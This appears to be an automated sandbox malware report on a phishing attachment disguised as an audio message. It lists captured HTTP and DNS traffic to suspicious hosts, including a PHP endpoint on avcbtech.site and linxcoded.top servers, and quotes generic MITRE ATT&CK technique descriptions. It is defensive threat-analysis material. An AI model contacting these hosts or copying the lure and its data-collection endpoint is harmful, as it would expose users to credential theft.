Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=0a3d0dbeb04e11bf8cbf2634c9d251a5

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: office.avcbtech.store
Source: global traffic	DNS traffic detected: DNS query: sender.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: i.imgur.com
Source: global traffic	DNS traffic detected: DNS query: server1.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: _8248._https.server1.linxcoded.top
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: avcbtech.site

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report #Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Static File Info

General

Static OLE Info

General

OLE File "#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml"

Indicators

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

Windows Analysis Report
#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml